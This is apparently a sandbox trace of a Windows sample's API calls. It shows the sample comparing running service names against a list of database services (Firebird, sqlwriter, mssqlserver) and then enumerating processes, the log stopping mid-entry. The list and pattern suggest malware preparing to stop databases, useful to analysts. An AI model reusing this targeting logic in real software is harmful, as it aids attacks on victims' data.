1 [0241.317] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0241.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0241.317] lstrlenW (lpString="Audiosrv") returned 8 [0241.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0241.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0241.317] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0241.317] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0241.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0241.317] lstrlenW (lpString="BFE") returned 3 [0241.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0241.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0241.317] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0241.317] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0241.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0241.317] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0241.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0241.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0241.317] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0241.317] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0241.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0241.317] lstrlenW (lpString="CDPSvc") returned 6 [0241.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0241.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0241.317] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0241.317] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0241.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0241.317] lstrlenW (lpString="ClickToRunSvc") returned 13 [0241.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0241.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0241.318] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0241.318] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0241.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0241.318] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0241.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0241.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0241.318] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0241.318] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0241.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0241.318] lstrlenW (lpString="CryptSvc") returned 8 [0241.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0241.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0241.318] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0241.318] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0241.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0241.318] lstrlenW (lpString="DcomLaunch") returned 10 [0241.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0241.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0241.318] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0241.318] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0241.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0241.318] lstrlenW (lpString="DeviceAssociationService") returned 24 [0241.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0241.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0241.318] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0241.318] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0241.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0241.318] lstrlenW (lpString="Dhcp") returned 4 [0241.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0241.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0241.318] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0241.318] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0241.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0241.319] lstrlenW (lpString="Dnscache") returned 8 [0241.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0241.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0241.319] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0241.319] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0241.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0241.319] lstrlenW (lpString="DPS") returned 3 [0241.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0241.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0241.319] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0241.319] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0241.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0241.319] lstrlenW (lpString="DusmSvc") returned 7 [0241.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0241.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0241.319] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0241.319] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0241.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0241.319] lstrlenW (lpString="EventLog") returned 8 [0241.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0241.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0241.319] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0241.319] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0241.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0241.319] lstrlenW (lpString="EventSystem") returned 11 [0241.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0241.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0241.319] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0241.319] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0241.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0241.319] lstrlenW (lpString="FontCache") returned 9 [0241.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0241.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0241.319] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0241.319] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0241.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0241.320] lstrlenW (lpString="gpsvc") returned 5 [0241.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0241.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0241.320] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0241.320] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0241.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0241.320] lstrlenW (lpString="iphlpsvc") returned 8 [0241.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0241.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0241.320] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0241.320] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0241.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0241.320] lstrlenW (lpString="KeyIso") returned 6 [0241.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0241.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0241.320] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0241.320] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0241.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0241.320] lstrlenW (lpString="LanmanServer") returned 12 [0241.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0241.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0241.320] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0241.320] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0241.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0241.320] lstrlenW (lpString="LanmanWorkstation") returned 17 [0241.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0241.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0241.320] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0241.320] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0241.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0241.320] lstrlenW (lpString="lfsvc") returned 5 [0241.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0241.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0241.320] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0241.321] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0241.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0241.321] lstrlenW (lpString="lmhosts") returned 7 [0241.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0241.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0241.321] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0241.321] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0241.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0241.321] lstrlenW (lpString="LSM") returned 3 [0241.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0241.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0241.321] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0241.321] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0241.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0241.321] lstrlenW (lpString="MpsSvc") returned 6 [0241.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0241.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0241.321] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0241.321] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0241.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0241.321] lstrlenW (lpString="NcbService") returned 10 [0241.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0241.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0241.321] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0241.321] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0241.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0241.321] lstrlenW (lpString="netprofm") returned 8 [0241.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0241.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0241.321] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0241.321] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0241.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0241.321] lstrlenW (lpString="NgcSvc") returned 6 [0241.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0241.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0241.322] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0241.322] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0241.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0241.322] lstrlenW (lpString="NlaSvc") returned 6 [0241.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0241.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0241.322] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0241.322] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0241.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0241.322] lstrlenW (lpString="nsi") returned 3 [0241.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0241.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0241.322] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0241.322] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0241.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0241.322] lstrlenW (lpString="PcaSvc") returned 6 [0241.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0241.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0241.322] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0241.322] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0241.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0241.322] lstrlenW (lpString="PlugPlay") returned 8 [0241.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0241.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0241.322] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0241.322] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0241.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0241.322] lstrlenW (lpString="Power") returned 5 [0241.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0241.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0241.322] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0241.322] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0241.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0241.322] lstrlenW (lpString="ProfSvc") returned 7 [0241.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0241.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0241.323] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0241.323] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0241.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0241.323] lstrlenW (lpString="RpcEptMapper") returned 12 [0241.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0241.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0241.323] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0241.323] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0241.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0241.323] lstrlenW (lpString="RpcSs") returned 5 [0241.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0241.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0241.323] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0241.323] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0241.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0241.323] lstrlenW (lpString="SamSs") returned 5 [0241.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0241.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0241.323] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0241.323] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0241.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0241.323] lstrlenW (lpString="Schedule") returned 8 [0241.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0241.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0241.323] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0241.323] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0241.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0241.323] lstrlenW (lpString="SecurityHealthService") returned 21 [0241.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0241.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0241.323] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0241.323] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0241.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0241.324] lstrlenW (lpString="SENS") returned 4 [0241.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0241.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0241.324] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0242.057] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0242.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0242.057] lstrlenW (lpString="ShellHWDetection") returned 16 [0242.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0242.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0242.057] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0242.057] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0242.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0242.057] lstrlenW (lpString="Spooler") returned 7 [0242.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0242.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0242.057] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0242.057] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0242.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0242.057] lstrlenW (lpString="StateRepository") returned 15 [0242.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0242.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0242.057] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0242.057] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0242.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0242.057] lstrlenW (lpString="SysMain") returned 7 [0242.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0242.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0242.057] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0242.057] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0242.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0242.057] lstrlenW (lpString="SystemEventsBroker") returned 18 [0242.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0242.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0242.058] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0242.058] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0242.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0242.058] lstrlenW (lpString="Themes") returned 6 [0242.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0242.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0242.058] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0242.058] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0242.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0242.058] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0242.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0242.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0242.059] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0242.059] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0242.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0242.059] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0242.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0242.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0242.059] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0242.059] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0242.059] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ce2f0 | out: hHeap=0x670000) returned 1 [0242.059] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x45c [0242.066] Process32FirstW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0242.066] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0242.067] lstrlenW (lpString="System") returned 6 [0242.067] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0242.068] lstrlenW (lpString="smss.exe") returned 8 [0242.068] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0242.068] lstrlenW (lpString="csrss.exe") returned 9 [0242.068] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0242.069] lstrlenW (lpString="wininit.exe") returned 11 [0242.069] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0242.070] lstrlenW (lpString="csrss.exe") returned 9 [0242.070] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0242.070] lstrlenW (lpString="winlogon.exe") returned 12 [0242.070] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0242.071] lstrlenW (lpString="services.exe") returned 12 [0242.071] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0242.071] lstrlenW (lpString="lsass.exe") returned 9 [0242.071] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, 